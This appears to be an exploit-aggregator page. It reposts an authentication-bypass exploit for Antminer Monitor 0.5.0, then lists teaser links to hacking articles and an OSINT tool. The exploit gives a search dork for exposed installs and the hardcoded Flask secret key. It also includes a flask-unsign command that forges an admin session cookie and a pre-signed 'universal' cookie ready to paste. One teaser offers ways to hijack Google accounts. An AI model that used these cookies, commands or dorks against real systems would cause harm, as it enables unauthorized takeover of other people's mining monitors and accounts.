Exploit Collector
Antminer Monitor 0.5.0 Authentication Bypass

https://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png
Antminer Monitor version 0.5.0 suffers from an authentication bypass vulnerability.

MD5 | 74be20968268ba63e45481ef88d8c917

Download
# Exploit Title: Antminer Monitor 0.5.0 - Authentication Bypass
# Date: 09/06/2021
# Dork:https://www.zoomeye.org/searchResult?q=%22antminer%20monitor%22
# Exploit Author: CQR.company / Vulnz.
# Vendor Homepage: https://github.com/anselal/antminer-monitor, https://twitter.com/intent/follow?screen_name=AntminerMonitor
# Software Link: https://github.com/anselal/antminer-monitor, https://soulis.tech/
# Version: 0.5.0
# Tested on: Windows, Linux, Macos
Software is commonly used for Monitoring antminers and could easily be
found in zoomeye ( 800), shodan ( 500).

For now this is the most popular antminer monitoring tool.

Vulnerability in Antminer Monitor exists because of backdoor or
misconfiguration done

by developer inside settings file in flask server.

Settings file has a predefined secret string, which would be randomly
generated, however it is static in this
build.antminer-monitor/settings.py at
5c62e1064af30674bacb9e1917d5980efbde1fcd · anselal/antminer-monitor ·
GitHub <https:

Secret key is 'super secret key'.

Based on this information we can craft authorization bypass cookies.

Using software flask-unsing we can generate cookie which will provide
you admin access.

flask-unsign --sign --cookie "{'_fresh': True, '_id':
b'df230a95eb5318d31fa83690c667cfd6a824dbfe61949bf30b9d75e71c6ea20714b87113fcafe2340df9a8a6f3567e7a2faedc2c12d05e4e338558e47afe84f6',
'_user_id': '1', 'csrf_token':
b'15d0261b7f3f40849920ebb94f7a2368397f76ff'}" --secret "super secret
key"

Additionally you can use this universal cookie to access web interface
of flask application.

This cookie can work on all systems in "session" field.

.eJw9j81Og0AURl_FzLoLfmTTpAubaQkm9xLMpeTeTaNAGQdGE9BQp-m7O3HhA3zfOeemzpe5X4zaXl6npd-o83untjf18Ka2SnL-Ab83JZ0mtrUHMiP4o2MaPNpxZc8JJuhEiyl1EUn-7IT4WlKVsWMPeZGJbmOh9speJqZiRX-I2A4p0MGLQyOuDoxqDayMyRgMOyROhToDTow0LxYcXMFVKzZ1JAS-1HVc5nWEyTHwhkgs79Q9uH8v_fwXoGK1Ue0yX85fn2P_8V8EdBpBFwk0RSoWHeqnR9RjBnY_sSsyzDkNlqFu8CV1DoOjDLvwfv8FnZ1jTQ.YS2Hvw.a-bvt7Y4e2kKNs0iXkRxHnRRJAU
In addition DEBUG = True which means /console works, however it needs pin.

Source:packetstormsecurity.com

Hacking on Medium
From LLMNR Poisoning To Domain Admin: Privilege Escalation, Pivoting and Session Passing With…

https://cdn-images-1.medium.com/max/759/1*rT3qh39J4sI9gqvR9-v94g.png
Having recently completed both the Certified Red Team Operator certification and Sektor7’s Malware Development Essentials course, I wanted…

Continue reading on Medium »

Hacking on Medium
4 Cara Sadap Akun Google (Gmail)

https://cdn-images-1.medium.com/max/800/1*2gkSjfvi9iw-lN2tY4UKaw.jpeg
Sadap akun google bisa sangat berguna jika Anda lupa atau tidak ingat lagi dengan password akun Anda.

Continue reading on Medium »

Hacking on Medium
How to practice your ethical hacking skills

https://cdn-images-1.medium.com/max/700/0*zICbG7CfIo3-BWN9.jpg
So, you have learned the basics of information security and you want to develop or practice your current skills! You’ve come to the right…

Continue reading on Medium »

Hacking on Medium
TryHackMe | Pentesting Fundamentals WriteUp

Learn the important ethics and methodologies behind every pentest

Continue reading on Medium »

Hacking on Medium
The Hack On How To Earn Money On Medium Without Stripe

https://cdn-images-1.medium.com/max/2600/0*sqvMhVMgL2qyR0FA
Now we can all earn money

Continue reading on New Writers Welcome »

TIGMINT - OSINT (Open Source Intelligence) GUI Software Framework
http://www.kitploit.com/2021/09/tigmint-osint-open-source-intelligence.html

An OSINT (Open Source Intelligence) software framework with an objective of making cyber investigations more convinient by implementing abstraction mechanisms to hide the background technical complexity also bundling different analysis techniques for social media Intelligence together providing a simple intuitive web interface for the user to work with.
Preview

Modules

 Our Team

Documentation